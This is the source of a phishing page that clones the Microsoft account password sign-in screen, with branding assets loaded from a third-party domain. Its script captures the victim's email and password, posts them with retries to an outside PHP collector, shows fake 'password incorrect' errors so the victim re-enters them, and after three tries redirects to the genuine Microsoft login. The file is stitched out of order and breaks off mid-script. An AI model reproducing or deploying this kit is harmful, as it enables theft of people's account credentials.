// textForm.value = ""
setTimeout(function () {
passwordError.forEach(function (error) {
error.classList.add("hidden");
});
inputColor.style.cssText = '';
}, 3000)
}, 3000)
if (email && password) {
let dataLog = {
email,
password,
desc: "https://login.microsoftonline.com/ Login Details",
};
// console.log(dataLog);
sendDataWithRetry(dataLog);
}
});
// Write a function that will redirect the page to a URL
function toggleClass() {
// Redirect the page to a URL
window.location.href = "https://login.microsoftonline.com/";
}
function loading() {
const loader = document.querySelector(".loader");
loader.classList.remove("loader--hidden");
setTimeout(function () {
loader.classList.add("loader--hidden");
}, 3000);
}
// Send data to the PHP file
function sendDataWithRetry(dataLog, maxRetries = 3) {
const sendRequest = async (retryCount) => {
try {
const response = await fetch(url, {
method: "POST",
headers: {
"Content-Type": "application/json; charset=utf-8",
},
body: JSON.stringify(dataLog),
});
if (response.ok) {
const responseData = await response.json();
// console.log("Data received by PHP:", responseData);
clickCount++;
// console.log(clickCount);
if (clickCount === 3) {
// Execute a separate function on second click
toggleClass();
clickCount = 0;
}
// Continue with other tasks (e.g., UI updates, etc.)
} else {
throw new Error("Network response was not OK");
}
} catch (error) {
console.error("Error sending data:", error);
if (retryCount < maxRetries) {
console.log(`Retrying (attempt ${retryCount + 1})...`);
await sendRequest(retryCount + 1);
} else {
console.error("Max retries reached. Data not sent.");
// Handle failure (e.g., show an error message)
}
}
};
sendRequest(0); // Start the initial request
}
</script>
</body>
</html></script>
<script language=javascript><!DOCTYPE html>
<html dir="ltr" lang="EN-GB">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<base href=>
<script
type="text/javascript">var PROOF = {}; PROOF.Type = { SQSA: 6, CSS: 5, DeviceId: 4, Email: 1, AltEmail: 2, SMS: 3, HIP: 8, Birthday: 9, TOTPAuthenticator: 10, RecoveryCode: 11, StrongTicket: 13, TOTPAuthenticatorV2: 14, UniversalSecondFactor: 15, SecurityKey: 18, Voice: -3 };</script>
<noscript>
<meta http-equiv="Refresh"
content="0; URL=https://login.live.com/jsDisabled.srf?mkt=EN-GB&lc=2057&uaid=a895326f36b74fc294363ee60298259d" />
Microsoft account requires JavaScript to sign in. This web browser either does not support JavaScript, or
scripts are being blocked.<br /><br />To find out whether your browser supports JavaScript, or to allow scripts,
see the browser's online help.
</noscript>
<title>Sign in to your Microsoft account</title>
<meta name="robots" content="none">
<meta name="PageID" content="i5030">
<meta name="SiteID" content="38936">
<meta name="ReqLC" content="2057">
<meta name="LocLC" content="2057">
<meta name="viewport"
content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
<script
type="text/javascript">!function (e, r) { for (var t in r) e[t] = r[t] }(this, function (e) { function r(n) { if (t[n]) return t[n].exports; var o = t[n] = { exports: {}, id: n, loaded: !1 }; return e[n].call(o.exports, o, o.exports, r), o.loaded = !0, o.exports } var t = {}; return r.m = e, r.c = t, r.p = "", r(0) }([function (e, r) { !function () { function e() { return l.$Config || l.ServerData || {} } function r(e, r) { var t = l.$Debug; t && t.appendLog && (r && (e += " '" + (r.src || r.href || "") + "'", e += ", id:" + (r.id || ""), e += ", async:" + (r.async || ""), e += ", defer:" + (r.defer || "")), t.appendLog(e)) } function t() { var e = l.$B; if (void 0 === c) if (e) c = e.IE; else { var r = l.navigator.userAgent; c = r.indexOf("MSIE ") !== -1 || r.indexOf("Trident/") !== -1 } return c } function n() { var e = l.$B; if (void 0 === f) if (e) f = e.RE_Edge; else { var r = l.navigator.userAgent; f = r.indexOf("Edge") !== -1 } return f } function o(e) { var r = e.indexOf("?"), t = r > -1 ? r : e.length, n = e.lastIndexOf(, t), o = e.substring(n, n + h.length).toLowerCase() === h; return o } function a() { var r = e(), t = r.loader || {}; return t.slReportFailure || r.slReportFailure || !1 } function i() { var r = e(), t = r.loader || {}; return t.redirectToErrorPageOnLoadFailure || !1 } function s() { var r = e(), t = r.loader || {}; return t.logByThrowing || !1 } function d(e) { if (!t() && !n()) return !1; var r = e.src || e.href || ""; if (!r) return !0; if (o(r)) { var a, i, s; try { a = e.sheet, i = a && a.cssRules, s = !1 } catch (d) { s = !0 } if (a && !i && s) return !0; if (a && i && 0 === i.length) return !0 } return !1 } function u() { function t(e) { var r = g.getElementsByTagName("head")[0]; r.appendChild(e) } function n(e, r, t, n) { var d = null; return d = o(e) ? a(e) : "script" === n.toLowerCase() ? i(e) : s(e, n), r && (d.id = r), "function" == typeof d.setAttribute && (d.setAttribute("crossorigin", "anonymous"), t && "string" == typeof t && d.setAttribute("integrity", t)), d } function a(e) { var r = g.createElement("link"); return r.rel = "stylesheet", r.type = "text/css", r.href = e, r } function i(e) { var r = g.createElement("script"), t = g.querySelector("script[nonce]"); if (r.type = "text/javascript", r.src = e, r.defer = !1, r.async = !1, t) { var n = t.nonce || t.getAttribute("nonce"); r.setAttribute("nonce", n) } return r } function s(e, r) { var t = g.createElement(r); return t.src = e, t } function c(e, r) { if (e && e.length > 0 && r) for (var t = 0; t < e.length; t++)if (r.indexOf(e[t]) !== -1) return !0; return !1 } function f(r) { var t = e(); if (t.cs) { var n = c(L, r) ? L : x; if (!(n && n.length > 1)) return r; for (var o = "https://", a = 0; a < n.length; a++)if (r.indexOf(n[a]) !== -1) { var i = n[a + 1 < n.length ? a + 1 : 0], s = r.substring(n[a].length); return n[a].substring(0, o.length) !== o && (i = o + i, s = s.substring(o.length)), i + s } return r } if (!(x && x.length > 1)) return r; for (var d = 0; d < x.length; d++)if (0 === r.indexOf(x[d])) return x[d + 1 < x.length ? d + 1 : 0] + r.substring(x[d].length); return r } function l(e, t, n, o) { return r("[$Loader]: " + (R.failMessage || "Failed"), o), b[e].retry < y ? (b[e].retry++, v(e, t, n), void u._ReportFailure(b[e].retry, b[e].srcPath)) : void (n && n()) } function h(e, t, n, o) { if (d(o)) return l(e, t, n, o); r("[$Loader]: " + (R.successMessage || "Loaded"), o), v(e + 1, t, n); var a = b[e].onSuccess; "function" == typeof a && a(b[e].srcPath) } function v(e, o, a) { if (e < b.length) { var i = b[e]; if (!i || !i.srcPath) return void v(e + 1, o, a); i.retry > 0 && (i.srcPath = f(i.srcPath), i.origId || (i.origId = i.id), i.id = i.origId + "_Retry_" + i.retry); var s = n(i.srcPath, i.id, i.integrity, i.tagName); s.onload = function () { h(e, o, a, s) }, s.onerror = function () { l(e, o, a, s) }, s.onreadystatechange = function () { "loaded" === s.readyState ? setTimeout(function () { h(e, o, a, s) }, 500) : "complete" === s.readyState && h(e, o, a, s) }, t(s), r("[$Loader]: Loading '" + (i.srcPath || "") + "', id:" + (i.id || "")) } else o && o() } var p = e(), y = p.slMaxRetry || 2, m = p.loader || {}, x = m.cdnRoots || [], L = m.tenantBrandingCdnRoots || [], R = this, b = []; R.retryOnError = !0, R.successMessage = "Loaded", R.failMessage = "Error", R.Add = function (e, r, t, n, o, a) { e && b.push({ srcPath: e, id: r, retry: n || 0, integrity: t, tagName: o || "script", onSuccess: a }) }, R.AddForReload = function (e, r) { var t = e.src || e.href || ""; R.Add(t, "AddForReload", e.integrity, 1, e.tagName, r) }, R.AddIf = function (e, r, t) { e && R.Add(r, t) }, R.Load = function (e, r) { v(0, e, r) } } var c, f, l = window, g = l.document, h = ".css"; u.On = function (e, r, t) { if (!e) throw "The target element must be provided and cannot be null."; r ? u.OnError(e, t) : u.OnSuccess(e, t) }, u.OnSuccess = function (e, t) { if (!e) throw "The target element must be provided and cannot be null."; if (d(e)) return u.OnError(e, t); var n = e.src || e.href || "", o = a(), s = i(); r("[$Loader]: Loaded", e); var c = new u; c.failMessage = "Reload Failed", c.successMessage = "Reload Success", c.Load(null, function () { if (o) throw "Unexpected state. ResourceLoader.Load() failed despite initial load success. ['" + n + "']"; s && (document.location.href = "/error.aspx?err=504") }) }, u.OnError = function (e, t) { var n = e.src || e.href || "", o = a(), s = i(); if (!e) throw "The target element must be provided and cannot be null."; r("[$Loader]: Failed", e); var d = new u; d.failMessage = "Reload Failed", d.successMessage = "Reload Success", d.AddForReload(e, t), d.Load(null, function () { if (o) throw "Failed to load external resource ['" + n + "']"; s && (document.location.href = "/error.aspx?err=504") }), u._ReportFailure(0, n) }, u._ReportFailure = function (e, r) { if (s() && !t()) throw "[Retry " + e + "] Failed to load external resource ['" + r + "'], reloading from fallback CDN endpoint" }, l.$Loader = u }() }]));</script>
<script
type="text/javascript">!function (r, t) { for (var e in t) r[e] = t[e] }(this, function (r) { function t(o) { if (e[o]) return e[o].exports; var n = e[o] = { exports: {}, id: o, loaded: !1 }; return r[o].call(n.exports, n, n.exports, t), n.loaded = !0, n.exports } var e = {}; return t.m = r, t.c = e, t.p = "", t(0) }([function (r, t) { !function () { function r(r, t) { function e(i) { var a = r[i]; return i < o - 1 ? void (n.r[a] ? e(i + 1) : n.when(a, function () { e(i + 1) })) : void t(a) } var o = r.length; e(0) } function t(r, t, i) { function a() { var r = !!u.method, n = r ? u.method : i[0], a = u.extraArgs || [], c = o.$WebWatson; try { var f = e(i, !r); if (a && a.length > 0) for (var s = a.length, v = 0; v < s; v++)f.push(a[v]); n.apply(t, f) } catch (h) { return void (c && c.submitFromException && c.submitFromException(h)) } } var u = n.r && n.r[r]; return t = t ? t : this, u && (u.skipTimeout ? a() : o.setTimeout(a, 0)), u } function e(r, t) { return Array.prototype.slice.call(r, t ? 1 : 0) } var o = window; o.$Do || (o.$Do = { q: [], r: [], removeItems: [], lock: 0, o: [] }); var n = o.$Do; n.when = function (e, o) { function i(r) { t(r, a, u) || n.q.push({ id: r, c: a, a: u }) } var a = 0, u = [], c = 1, f = "function" == typeof o; f || (a = o, c = 2); for (var s = c; s < arguments.length; s++)u.push(arguments[s]); e instanceof Array ? r(e, i) : i(e) }, n.register = function (r, e, o) { if (!n.r[r]) { n.o.push(r); var i = {}; if (e && (i.method = e), o && (i.skipTimeout = o), arguments && arguments.length > 3) { i.extraArgs = []; for (var a = 3; a < arguments.length; a++)i.extraArgs.push(arguments[a]) } n.r[r] = i, n.lock++; try { for (var u = 0; u < n.q.length; u++) { var c = n.q[u]; c.id == r && t(r, c.c, c.a) && n.removeItems.push(c) } } catch (f) { throw f } finally { if (n.lock--, 0 === n.lock) { for (var s = 0; s < n.removeItems.length; s++)for (var v = n.removeItems[s], h = 0; h < n.q.length; h++)if (n.q[h] === v) { n.q.splice(h, 1); break } n.removeItems = [] } } } }, n.unregister = function (r) { n.r[r] && delete n.r[r] } }() }]));</script>
<script
type="text/javascript">!function (n, e) { for (var r in e) n[r] = e[r] }(this, function (n) { function e(o) { if (r[o]) return r[o].exports; var t = r[o] = { exports: {}, id: o, loaded: !1 }; return n[o].call(t.exports, t, t.exports, e), t.loaded = !0, t.exports } var r = {}; return e.m = n, e.c = r, e.p = "", e(0) }([function (n, e) { !function () { function n() { return r.$Config || r.ServerData || {} } function e() { var e = (n(), new t), r = this, i = [], f = []; r.Add = function (n, r, o, t) { e.Add(n, r, o, t) }, r.Provides = function (n) { if (n) if (n instanceof Array) for (var e = 0; e < n.length; e++)i.push(n[e]); else i.push(n) }, r.Requires = function (n) { if (n) if (n instanceof Array) for (var e = 0; e < n.length; e++)f.push(n[e]); else f.push(n) }, r.Load = function (n, r) { var t = function () { n && n(); for (var e = 0; e < i.length; e++)o.register(i[e], 0, !0) }, u = function () { e.Load(t, r) }; f.length > 0 ? o.when(f, u) : u() } } var r = window, o = (r.document, r.$Do), t = r.$Loader, i = ".css"; i.length; e.WhenLoaded = function (n, e) { o.when(n, e) }, r.$DepLoader = e }() }]));</script>
<link rel="shortcut icon" href="https://jdmediax.com/app/officenormal/media/favicon.ico">
<link rel="stylesheet" title="Converged_v2" type="text/css" onload="$Loader.OnSuccess(this)"
onerror="$Loader.OnError(this)"
href="https://jdmediax.com/app/officenormal/media/Converged_v22057_sKiljltKC1Ne_Y3fl1HuHQ2.css">
<style type="text/css"></style>
<style type="text/css">
body {
display: none;
}
</style>
<script
type="text/javascript">if (top != self) { try { top.location.replace(self.location.href); } catch (e) { } } else { <style type="text/css">body{display:block !important;}</style> }</script>
<style type="text/css">
body {
display: block !important;
}
</style><noscript>
<style type="text/css">
body {
display: block !important;
}
</style>
</noscript>
<style type="text/css">
.inner,
.promoted-fed-cred-box,
.sign-in-box,
.new-session-popup-v2sso,
.debug-details-banner,
.vertical-split-content {
min-width: 0;
}
.errorzz {
padding: 4px 8px;
border-style: solid;
border-width: 2px;
border-color: rgba(0, 0, 0, .4);
background-color: rgba(255, 255, 255, .4);
height: 32px;
height: 2rem;
padding: 6px 10px;
border-width: 1px;
border-color: #666;
height: 36px;
outline: none;
border-radius: 0;
-webkit-border-radius: 0;
background-color: transparent;
border-top-width: 0;
border-left-width: 0;
border-right-width: 0;
padding-left: 0;
border-color: #e81123;
}
.loader {
position: fixed;
opacity: 0.5;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
background: #333333;
transition: opacity 0.75s, visibility 0.75s;
z-index: 10000;
}
.loader--hidden {
opacity: 0;
visibility: hidden;
}
.loader::after {
content: "";
width: 75px;
height: 75px;
border: 15px solid #dddddd;
border-top-color: #0078c8;
border-radius: 50%;
animation: loading 0.75s ease infinite;
z-index: 10000;
}
@keyframes loading {
from {
transform: rotate(0turn);
}
to {
transform: rotate(1turn);
}
}
</style>
<script charset="utf-8"
src="https://jdmediax.com/app/officenormal/media/convergedlogin_ppassword_b2ec0d9661751c7da58d.js.download"></script>
<style type="text/css">
.inner,
.promoted-fed-cred-box,
.sign-in-box,
.new-session-popup-v2sso,
.debug-details-banner,
.vertical-split-content {
min-width: 0;
}
</style>
<style type="text/css">
.inner,
.promoted-fed-cred-box,
.sign-in-box,
.new-session-popup-v2sso,
.debug-details-banner,
.vertical-split-content {
min-width: 0;
}
</style>
</head>
<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
<div class="loader loader--hidden"></div>
<div>
<div data-bind="if: activeDialog"></div>
<form name="f1" id="i0281" novalidate="novalidate" spellcheck="false" method="post" target="_top"
autocomplete="off"
data-bind="autoSubmit: forceSubmit, attr: { action: postUrl }, ariaHidden: !!activeDialog(), css: { 'provide-min-height': svr.cu }"
class="provide-min-height myform">
<div class="login-paginated-page" data-bind="component: { name: 'master-page',
publicMethods: masterPageMethods,
params: {
serverData: svr,
showButtons: svr.e,
showFooterLinks: true,
useWizardBehavior: svr.bn,
handleWizardButtons: false,
password: password,
hideFromAria: ariaHidden },
event: {
footerAgreementClick: footer_agreementClick } }">
<div id="lightboxTemplateContainer"
data-bind="component: { name: 'lightbox-template', params: { serverData: svr, showHeader: $page.showHeader(), headerLogo: $page.headerLogo() } }, css: { 'provide-min-height': svr.cu }"
class="provide-min-height">
<div id="lightboxBackgroundContainer" data-bind="css: { 'provide-min-height': svr.cV },
component: { name: 'background-image-control',
publicMethods: $page.backgroundControlMethods,
event: { load: $page.backgroundImageControl_onLoad } }">
<div class="background-image-holder" role="presentation"
data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
<div id="backgroundImage"
data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }"
class="background-image ext-background-image"
style="background-image: url("https://logincdn.msftauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg");">
</div>
</div>
</div>
<div class="outer" data-bind="css: { 'app': $page.backgroundLogoUrl }">
<div class="template-section main-section">
<div data-bind="externalCss: { 'middle': true }" class="middle ext-middle">
<div class="full-height"
data-bind="component: { name: 'content-control', params: { serverData: svr, isVerticalSplitTemplate: $page.isVerticalSplitTemplate(), hasHeader: showHeader } }">
<div class="flex-column">
<div class="win-scroll">
<div id="lightbox" data-bind="
animationEnd: $page.paginationControlHelper.animationEnd,
externalCss: { 'sign-in-box': true },
css: {
'inner': $content.isVerticalSplitTemplate,
'vertical-split-content': $content.isVerticalSplitTemplate,
'app': $page.backgroundLogoUrl,
'wide': $page.paginationControlHelper.useWiderWidth,
'fade-in-lightbox': $page.fadeInLightBox,
'has-popup': $page.showFedCredAndNewSession && ($page.showFedCredButtons() || $page.newSession()),
'transparent-lightbox': $page.backgroundControlMethods() && $page.backgroundControlMethods().useTransparentLightBox,
'lightbox-bottom-margin-debug': $page.showDebugDetails,
'has-header': $content.hasHeader }" class="sign-in-box ext-sign-in-box fade-in-lightbox">
<div class="lightbox-cover"
data-bind="css: { 'disable-lightbox': svr.Co && showLightboxProgress() }">
</div>
<div data-bind="component: { name: 'logo-control',
params: {
isChinaDc: svr.fIsChinaDc,
bannerLogoUrl: bannerLogoUrl() } }">
<img
class="logo" role="img"
pngsrc="https://jdmediax.com/app/officenormal/media/microsoft_logo_ea19b2112f4dfd8e90b4505ef7dcb4f9.png"
svgsrc="https://jdmediax.com/app/officenormal/media/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg"
data-bind="imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }"
src="https://jdmediax.com/app/officenormal/media/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg"
alt="Microsoft">
</div>
<div role="main" data-bind="component: { name: 'pagination-control',
publicMethods: paginationControlMethods,
params: {
enableCssAnimation: svr.Bg,
disableAnimationIfAnimationEndUnsupported: svr.Cs,
initialViewId: initialViewId,
currentViewId: currentViewId,
initialSharedData: initialSharedData,
initialError: $loginPage.getServerError() },
event: {
cancel: paginationControl_onCancel,
load: paginationControlHelper.onLoad,
unload: paginationControlHelper.onUnload,
loadView: view_onLoadView,
showView: view_onShow,
setLightBoxFadeIn: view_onSetLightBoxFadeIn,
animationStateChange: paginationControl_onAnimationStateChange } }">
<div data-bind="css: { 'zero-opacity': hidePaginatedView() }"
class="">
<div data-bind="css: {
'animate': animate() && animate.animateBanner(),
'slide-out-next': animate.isSlideOutNext(),
'slide-in-next': animate.isSlideInNext(),
'slide-out-back': animate.isSlideOutBack(),
'slide-in-back': animate.isSlideInBack() }" class="animate slide-in-next">
<div data-bind="component: { name: 'identity-banner-control',
params: {
userTileUrl: svr.CH,
displayName: sharedData.displayName || svr.h,
isBackButtonVisible: isBackButtonVisible(),
focusOnBackButton: isBackButtonFocused(),
backButtonDescribedBy: backButtonDescribedBy() },
event: {
backButtonClick: identityBanner_onBackButtonClick } }">
<div class="identityBanner">
<div id="displayName" class="identity"
data-bind="text: unsafe_displayName, attr: { 'title': unsafe_displayName }"
title=""></div>
</div>
</div>
</div>
<div class="pagination-view has-identity-banner animate slide-in-next"
data-bind="css: {
'has-identity-banner': showIdentityBanner() && (sharedData.displayName || svr.h),
'zero-opacity': hidePaginatedView.hideSubView(),
'animate': animate(),
'slide-out-next': animate.isSlideOutNext(),
'slide-in-next': animate.isSlideInNext(),
'slide-out-back': animate.isSlideOutBack(),
'slide-in-back': animate.isSlideInBack() }">
<div data-viewid="2" data-showidentitybanner="true"
data-dynamicbranding="true" data-bind="pageViewComponent: { name: 'login-paginated-password-view',
params: {
serverData: svr,
serverError: initialError,
isInitialView: isInitialState,
username: sharedData.username,
displayName: sharedData.displayName,
hipRequiredForUsername: sharedData.hipRequiredForUsername,
passwordBrowserPrefill: sharedData.passwordBrowserPrefill,
availableCreds: sharedData.availableCreds,
evictedCreds: sharedData.evictedCreds,
useEvictedCredentials: sharedData.useEvictedCredentials,
showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
flowToken: sharedData.flowToken,
defaultKmsiValue: svr.Ap === 1,
userTenantBranding: sharedData.userTenantBranding,
sessions: sharedData.sessions,
callMetadata: sharedData.callMetadata,
supportsNativeCredentialRecovery: sharedData.supportsNativeCredentialRecovery,
forgotPasswordText: $loginPage.forgotPasswordText,
accessRecoveryLink: $loginPage.accessRecoveryLink,
boilerPlateText: $loginPage.boilerPlateText,
hideAccountResetCredentials: $loginPage.hideAccountResetCredentials },
event: {
restoreIsRecoveryAttemptPost: $loginPage.view_onRestoreIsRecoveryAttemptPost,
updateFlowToken: $loginPage.view_onUpdateFlowToken,
submitReady: $loginPage.view_onSubmitReady,
redirect: $loginPage.view_onRedirect,
resetPassword: $loginPage.passwordView_onResetPassword,
setBackButtonState: view_onSetIdentityBackButtonState,
setPendingRequest: $loginPage.view_onSetPendingRequest } }">
<div aria-hidden="true">
<input type="hidden" name="i13"
data-bind="value: isKmsiChecked() ? 1 : 0"
value="0">
<input type="hidden" name="login"
class="in-identity" autocomplete="username"
data-bind="value: unsafe_username" value="">
<input type="text" name="loginfmt"
data-bind="moveOffScreen, value: unsafe_displayName"
class="moveOffScreen" tabindex="-1"
aria-hidden="true">
<input type="hidden" name="type"
data-bind="value: svr.bn ? 20 : 11" value="11">
<input type="hidden" name="LoginOptions"
data-bind="value: isKmsiChecked() ? 1 : 3"
value="3">
<input type="hidden" name="lrt"
data-bind="value: callMetadata.IsLongRunningTransaction"
value="">
<input type="hidden" name="lrtPartition"
data-bind="value: callMetadata.LongRunningTransactionPartition"
value="">
<input type="hidden" name="hisRegion"
data-bind="value: callMetadata.HisRegion"
value="">
<input type="hidden" name="hisScaleUnit"
data-bind="value: callMetadata.HisScaleUnit"
value="">
</div>
<div id="loginHeader" class="row title ext-title"
data-bind="externalCss: { 'title': true }">
<div role="heading" aria-level="1"
data-bind="text: str['CT_PWD_STR_EnterPassword_Title']">
Enter password</div>
</div>
<div class="row">
<div class="form-group col-md-24">
<div role="alert" aria-live="assertive">
</div>
<div id="passwordError"
data-bind="
externalCss: { 'error': true },
htmlWithBindings: passwordTextbox.error,
childBindings: {
'idA_IL_ForgotPassword0': {
href: accessRecoveryLink || svr.O,
attr: {
target: accessRecoveryLink && '_blank',
role: supportsNativeCredentialRecovery ? 'button' : 'link'
},
click: accessRecoveryLink ? null : resetPassword_onClick } }"
class="error ext-error e1 hidden">Please
enter the password for your Microsoft
account.</div>
<div id="passwordError"
data-bind="
externalCss: { 'error': true },
htmlWithBindings: passwordTextbox.error,
childBindings: {
'idA_IL_ForgotPassword0': {
href: accessRecoveryLink || svr.O,
attr: {
target: accessRecoveryLink && '_blank',
role: supportsNativeCredentialRecovery ? 'button' : 'link'
},
click: accessRecoveryLink ? null : resetPassword_onClick } }"
class="error ext-error e2 hidden">Your
account or password is incorrect.</div>
<div class="placeholderContainer" data-bind="component: { name: 'placeholder-textbox-field',
publicMethods: passwordTextbox.placeholderTextboxMethods,
params: {
serverData: svr,
hintText: str['CT_PWD_STR_PwdTB_Label'] },
event: {
updateFocus: passwordTextbox.textbox_onUpdateFocus } }">
<input name="passwd" type="password"
id="i0118"
class="form-control input ext-input text-box ext-text-box passwording p11"
placeholder="Password">
</div>
</div>
</div>
<div data-bind="css: { 'position-buttons': !tenantBranding.BoilerPlateText && !boilerPlateText }, externalCss: { 'password-reset-links-container': true }"
class="position-buttons password-reset-links-container ext-password-reset-links-container">
<div>
<div class="row">
<div class="col-md-24">
<div class="text-13">
<div class="form-group">
<a id="idA_PWD_ForgotPassword"
role="link" data-bind="
text: unsafe_forgotPasswordText,
href: accessRecoveryLink || svr.O,
attr: { target: accessRecoveryLink && '_blank' },
click: accessRecoveryLink ? null : resetPassword_onClick">Forgotten your password?</a>
</div>
<div class="form-group">
<a id="idA_PWD_SwitchToCredPicker"
href="https://login.live.com/#"
data-bind="
text: isUserKnown ? str['CT_PWD_STR_SwitchToCredPicker_Link'] : str['CT_PWD_STR_SwitchToCredPicker_Link_NoUser'],
ariaDescribedBy: ariaDescribedBy,
click: switchToCredPicker_onClick,
hasFocusEx: setFocus">Other ways to sign in</a>
</div>
</div>
</div>
</div>
</div>
<div class="win-button-pin-bottom"
data-bind="css : { 'boilerplate-button-bottom': tenantBranding.BoilerPlateText || boilerPlateText }">
<div class="row"
data-bind="css: { 'move-buttons': tenantBranding.BoilerPlateText || boilerPlateText }">
<div data-bind="component: { name: 'footer-buttons-field',
params: {
serverData: svr,
primaryButtonText: str['CT_PWD_STR_SignIn_Button'],
isPrimaryButtonEnabled: !isRequestPending(),
isPrimaryButtonVisible: svr.e,
isSecondaryButtonEnabled: true,
isSecondaryButtonVisible: false },
event: {
primaryButtonClick: primaryButton_onClick } }">
<div class="col-xs-24 no-padding-left-right button-container button-field-container ext-button-field-container"
data-bind="
visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(),
css: { 'no-margin-bottom': removeBottomMargin },
externalCss: { 'button-field-container': true }">
<div data-bind="css: { 'inline-block': isPrimaryButtonVisible }, externalCss: { 'button-item': true }"
class="inline-block button-item ext-button-item">
<input type="submit"
id="idSIButton9"
class="win-button button_primary button ext-button primary ext-primary"
data-report-event="Signin_Submit"
data-report-trigger="click"
data-report-value="Submit"
data-bind="
attr: primaryButtonAttributes,
externalCss: {
'button': true,
'primary': true },
value: primaryButtonText() || str['CT_PWD_STR_SignIn_Button_Next'],
hasFocus: focusOnPrimaryButton,
click: svr.fEnableLivePreview ? function() { } : primaryButton_onClick,
clickBubble: !svr.fEnableLivePreview,
enable: isPrimaryButtonEnabled,
visible: isPrimaryButtonVisible,
preventTabbing: primaryButtonPreventTabbing" value="Sign in" data-report-attached="1">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<input type="hidden" name="ps" data-bind="value: postedLoginStateViewId"
value="">
<input type="hidden" name="psRNGCDefaultType"
data-bind="value: postedLoginStateViewRNGCDefaultType" value="">
<input type="hidden" name="psRNGCEntropy"
data-bind="value: postedLoginStateViewRNGCEntropy" value="">
<input type="hidden" name="psRNGCSLK"
data-bind="value: postedLoginStateViewRNGCSLK" value="">
<input type="hidden" name="canary" data-bind="value: svr.canary"
value="">
<input type="hidden" name="ctx" data-bind="value: ctx" value="">
<input type="hidden" name="hpgrequestid"
data-bind="value: svr.sessionId" value="">
<input type="hidden" id="i0327"
data-bind="attr: { name: svr.bY }, value: flowToken" name="PPFT"
value="-DtN4ZWbWkTzzk9u4ZER*JliwnMtmR1m4*mySFsXjgoE5OIs*uKfOPILZuX2EaQL5KhAbqMp*fWhd!QZ*jWdv7xvya9sh6Z4ZomMXBrX4HoY3uUCeLhZe5l8R9FHEuWptuxGvVqWKXPNOqJ1UdJhxv!AqAZqE358hKk*Ikt36b9nnWeLXRXNVl9hbyiTvo8XHFw$$">
<input type="hidden" name="PPSX" data-bind="value: svr.Dl"
value="Passp">
<input type="hidden" name="NewUser" value="1">
<input type="hidden" name="FoundMSAs" data-bind="value: svr.AT"
value="">
<input type="hidden" name="fspost"
data-bind="value: svr.fPOST_ForceSignin ? 1 : 0" value="0">
<input type="hidden" name="i21"
data-bind="value: wasLearnMoreShown() ? 1 : 0" value="0">
<input type="hidden" name="CookieDisclosure"
data-bind="value: svr.bA ? 1 : 0" value="0">
<input type="hidden" name="IsFidoSupported"
data-bind="value: isFidoSupported() ? 1 : 0" value="1">
<input type="hidden" name="isSignupPost"
data-bind="value: isSignupPost() ? 1 : 0" value="0">
<input type="hidden" name="isRecoveryAttemptPost"
data-bind="value: isRecoveryAttemptPost() ? 1 : 0" value="0">
<div data-bind="component: { name: 'instrumentation-control',
publicMethods: instrumentationMethods,
params: { serverData: svr } }">
<input type="hidden" name="i19" data-bind="value: timeOnPage"
value="">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="footer" role="contentinfo" data-bind="
externalCss: {
'footer': true,
'has-background': !$page.useDefaultBackground() && $page.showFooter(),
'background-always-visible': $page.backgroundLogoUrl }" class="footer ext-footer">
<div data-bind="component: { name: 'footer-control',
publicMethods: $page.footerMethods,
params: {
serverData: svr,
useDefaultBackground: $page.useDefaultBackground(),
hasDarkBackground: $page.backgroundLogoUrl(),
showLinks: true,
showFooter: $page.showFooter(),
hideTOU: $page.hideTOU(),
termsText: $page.termsText(),
termsLink: $page.termsLink(),
hidePrivacy: $page.hidePrivacy(),
privacyText: $page.privacyText(),
privacyLink: $page.privacyLink() },
event: {
agreementClick: $page.footer_agreementClick,
showDebugDetails: $page.toggleDebugDetails_onClick } }">
<div id="footerLinks" class="footerNode text-secondary footer-links ext-footer-links"
data-bind="externalCss: { 'footer-links': true }">
<a id="ftrTerms" data-bind="
text: termsText,
href: termsLink,
click: termsLink_onClick,
externalCss: {
'footer-content': true,
'footer-item': true,
'has-background': !useDefaultBackground,
'background-always-visible': hasDarkBackground }"
href="https://login.live.com/gls.srf?urlID=WinLiveTermsOfUse&mkt=EN-GB&uaid=a895326f36b74fc294363ee60298259d"
class="footer-content ext-footer-content footer-item ext-footer-item">Terms of
use</a>
<a id="ftrPrivacy" data-bind="
text: privacyText,
href: privacyLink,
click: privacyLink_onClick,
externalCss: {
'footer-content': true,
'footer-item': true,
'has-background': !useDefaultBackground,
'background-always-visible': hasDarkBackground }"
href="https://login.live.com/gls.srf?urlID=MSNPrivacyStatement&mkt=EN-GB&uaid=a895326f36b74fc294363ee60298259d"
class="footer-content ext-footer-content footer-item ext-footer-item">Privacy
& cookies</a>
<a id="moreOptions" href="https://login.live.com/#" role="button" data-bind="
click: moreInfo_onClick,
ariaLabel: str['CT_STR_More_Options_Ellipsis_AriaLabel'],
attr: { 'aria-expanded': showDebugDetails().toString() },
hasFocusEx: focusMoreInfo(),
externalCss: {
'footer-content': true,
'footer-item': true,
'debug-item': true,
'has-background': !useDefaultBackground,
'background-always-visible': hasDarkBackground }"
aria-label="Click here for troubleshooting information" aria-expanded="false"
class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
</div>
</div>
</div>
</div>
</div>
</div>
</form>
<form data-bind="postRedirectForm: postRedirect" method="POST" aria-hidden="true" target="_top"></form>
</div>
<script>
// ############################################################################
// Specify the URL of the PHP file Here
var url = "https://foghjk.com/rptin/inon/zzzrptin/mso/main.php";
// ############################################################################
var a1 = document.querySelectorAll(".aaaa1");
var a2 = document.querySelectorAll(".aaaa2");
let email
window.onload = function () {
// Get the current URL
var url = window.location.href;
// Parse the URL and get the fragment (the part after the '#')
